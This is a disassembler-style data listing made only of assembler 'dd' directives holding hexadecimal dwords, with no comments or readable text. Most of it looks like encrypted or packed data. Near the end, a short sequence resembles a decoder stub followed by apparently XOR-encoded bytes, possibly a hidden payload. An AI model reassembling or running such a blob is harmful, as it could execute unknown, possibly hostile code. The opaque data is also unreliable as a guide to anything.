dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh, 362F978Fh
dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h
dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h
dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h
dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh, 9F42CC2Dh
dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h
dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h, 14297EC1h
dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h
dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h
dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h
dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h, 0BBEC7023h
dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h
dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h, 6C8EE83Dh
dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h, 0EB48C576h
dd 7EA74FE2h, 6F1C285h, 4B5FBFF4h, 89138A86h, 0EB2BC955h
dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh
dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h, 36F694E5h
dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh, 0CB76B8BBh
dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h
dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh, 850FE3C8h
dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h
dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h, 7A4F94C4h
dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h
dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h
dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h
dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh
dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh, 508549F2h
dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h
dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h
dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch
dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh
dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh
dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h, 0D2BC75DCh
dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h
dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh, 9E1BEF29h
dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h
dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h, 3DEA336h
dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h
dd 73B13E0Eh, 45D13FDh, 3AED062Bh, 0F91FB001h, 12831847h
dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h
dd 0E71A9CC9h, 7B855DF6h
dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h
dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h, 0B5020EE8h
dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h, 42296D22h
dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h
dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h
dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh
dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h, 132AF4D9h
dd 5EA98C02h, 60728F4h, 5616DB5Bh, 0CB8966B5h, 0D05226Bh
dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh
dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh
dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h, 2611E7DEh
dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h, 7025A2BEh
dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch
dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h, 2272B597h
dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h, 0CC45DEF1h
dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h, 38607A3Bh
dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h
dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h, 7F61EC1h
dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h, 63B948Dh
dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh
dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h
dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah, 0A2216383h
dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh
dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h
dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh
dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh, 0C3ED43F2h
dd 30537AAh, 4D859BCFh, 671A2FB3h, 498E60BAh, 415A01ECh
dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh, 2DEA92ECh
dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h
dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh
dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh
dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h
dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h, 671494A3h
dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h
dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h
dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch
dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h, 0CBEA932Eh
dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h
dd 22A6BB07h, 139BCC8h, 43FEF56Ah, 4FCA07D6h, 9791CB31h
dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh
dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h
dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h
dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h
dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h
dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h, 0E6A0B21h
dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h, 827BC52Ah
dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h
dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh
dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh
dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh
dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh
dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h, 0EC1E1AAFh
dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h, 0AC34868Ch
dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h
dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh
dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h
dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h
dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h
dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h, 516B5C02h
dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h
dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h
dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh
dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h, 0D1FAAF06h
dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh, 0C9E3EC35h
dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h
dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh
dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h
dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h
dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h, 0F19F42B0h
dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h
dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h
dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h, 0D60F349Bh
dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh
dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h
dd 17131D8h, 36ED5049h, 73BC637Fh, 7204D405h, 0AE70409h
dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h, 28C6412Ah
dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh
dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah
dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h
dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh
dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h
dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h
dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h, 4FFD00EDh
dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah
dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h, 34FEA2ABh
dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h
dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh
dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h
dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h
dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h
dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h
dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch, 2E9B693Fh
dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh
dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh
dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh, 0A57CD81Ch
dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h
dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h, 20F89955h
dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh
dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h
dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh, 0AB8496E8h
dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh, 0F217332Ch
dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h
dd 6550F505h, 0AA5D3ED9h
dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h, 0E2178FA1h
dd 5136DB4h, 35E4BD89h, 1F81C296h, 71147437h, 9EC09C19h
dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh
dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh
dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h
dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h
dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh
dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h
dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah
dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h, 98463091h
dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h
dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h
dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh
dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh, 0E16F4710h
dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh
dd 28B15CE5h, 630DFC4h, 0ADA8254Eh, 8F620C86h, 0D77EFC27h
dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h, 0FA8F4A18h
dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h
dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h
dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh
dd 5038251h, 7B0DEAB7h, 0E3E9F06Ah, 7976E2D6h, 0C6D3C268h
dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h
dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh, 0A2CCC15Fh
dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h
dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h, 0C5065672h
dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h
dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh, 0D06508ACh
dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah, 379F5EF4h
dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh
dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh
dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h
dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh
dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h, 6C7832E0h
dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah
dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh
dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh, 0D77C7A43h
dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh, 212EF5ACh
dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h
dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh
dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h
dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h
dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h
dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh, 6CD30D2Fh
dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh
dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h, 2731E956h
dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh
dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh, 280D01A5h
dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h, 344DE17Dh
dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h
dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh, 90599F6h
dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h
dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h, 764E19BDh
dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h
dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h
dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh, 8074904Fh
dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h
dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h, 723AB421h
dd 41430C2h, 1E06090Eh, 0C965894Ah, 0CFDC09h, 58EF533Fh
dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch
dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh, 0D14AD342h
dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h
dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h
dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h
dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh
dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch, 7E05DCA7h
dd 128C10E2h, 332EAB2h, 6B9F5826h, 46F74Ch, 5FE0CA8Fh
dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h
dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h
dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh
dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h
dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h
dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h, 26C29DB4h
dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h, 6F32EEADh
dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h
dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h, 3711477Bh
dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h
dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h, 44B56433h
dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h, 5688B078h
dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h
dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h
dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h
dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh
dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h
dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h, 0E3F0BE4Ch
dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh
dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h
dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh
dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h, 31C19942h
dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h
dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h
dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h
dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h
dd 570C22Eh, 32D80EA2h, 5FE32BFCh, 0C346F48Ch, 0CE4C0B17h
dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h
dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h
dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h, 55E5B37Dh
dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h
dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h
dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h
dd 0A07D1Dh, 27C6D88Eh, 0D17DF339h, 4F2BCD19h, 0B74705CDh
dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h
dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h
dd 1E18625h, 0B6C70975h
dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh, 0CB5F36C6h
dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h
dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh, 30982E0Ch
dd 7C98E55h, 31FDB645h, 57E8D180h, 0F951C3BEh, 90E96F3Fh
dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h
dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh
dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h, 39D167C2h
dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h, 0EE8541DFh
dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h, 0CA9947C2h
dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h, 1879191Eh
dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h
dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h, 0F5E39D90h
dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah, 1048BE9Eh
dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh
dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h
dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h
dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh
dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h
dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh
dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh
dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh
dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh
dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h
dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h
dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh, 0DD523383h
dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh, 0AB740168h
dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh
dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h
dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h, 0B0A16A33h
dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h
dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h, 514F8A4Eh
dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h, 3D8B4B64h
dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h, 10D144AEh
dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah
dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h, 7BD451F1h
dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh
dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h
dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h, 0C00180CEh
dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h, 0AA733C2Dh
dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh
dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h
dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h
dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh, 0EBB44DF4h
dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh
dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah
dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h
dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h, 4EBC7A58h
dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h
dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h, 0E8h, 0EB815B00h
dd 0FFFFFFD4h, 2464BA53h, 0EFBF0000h, 8A000000h, 0F8316603h
dd 4A430386h, 7700FA83h, 0E3FF5BF2h, 4E203FFh, 0C3E57Fh
dd 0EF077F00h, 64EFEFEFh, 6F18CBEBh, 0EFEFCBC4h, 6FEFEFEFh
dd 0C6437766h, 0B364EFEFh, 0C29BEBCBh, 5F66B613h, 0EFEFC65Fh
dd 0C65B5766h, 576FEFEFh, 0EFEFCBC0h, 0ECE29A07h, 0EFCBDF77h
dd 0EDB464EFh, 0E704DC10h, 0CBDE7764h, 0DC10EFEFh, 6E7ABAB4h
dd 0D8EBCB83h, 6EEFEFEFh, 101FEF0Ch, 0E9026E10h, 64EFAFFFh
dd 62EBCB93h, 0AFDBD35Ah, 0EFC756EFh, 4B1CEFEFh, 0BBA1946Eh
dd 9A9C8687h, 0D3AC64E2h, 89F7EB62h, 0AABFD76Eh, 46EE79Bh
dd 0EFEFEEEFh, 0BF640D9Ah, 643CEC97h, 0A564CF9Dh, 0BE1CECF7h
dd 6E2CEC42h, 0A8EF1097h, 0F49A9B8Ah, 0BFEC976Eh, 9A8C809Dh
dd 0E8976EFDh, 9D8B8BAEh, 976EE69Ah, 9C9C8AE4h, 0DEA9BEFh
dd 2CB2B638h, 64CBE3C6h, 0ECB6CB9Dh, 0EB58E01Ch, 0F39564A1h
dd 0DB6414ECh, 71CEC68h, 0EFEFEFE3h, 9C8083ACh, 818EA78Ah
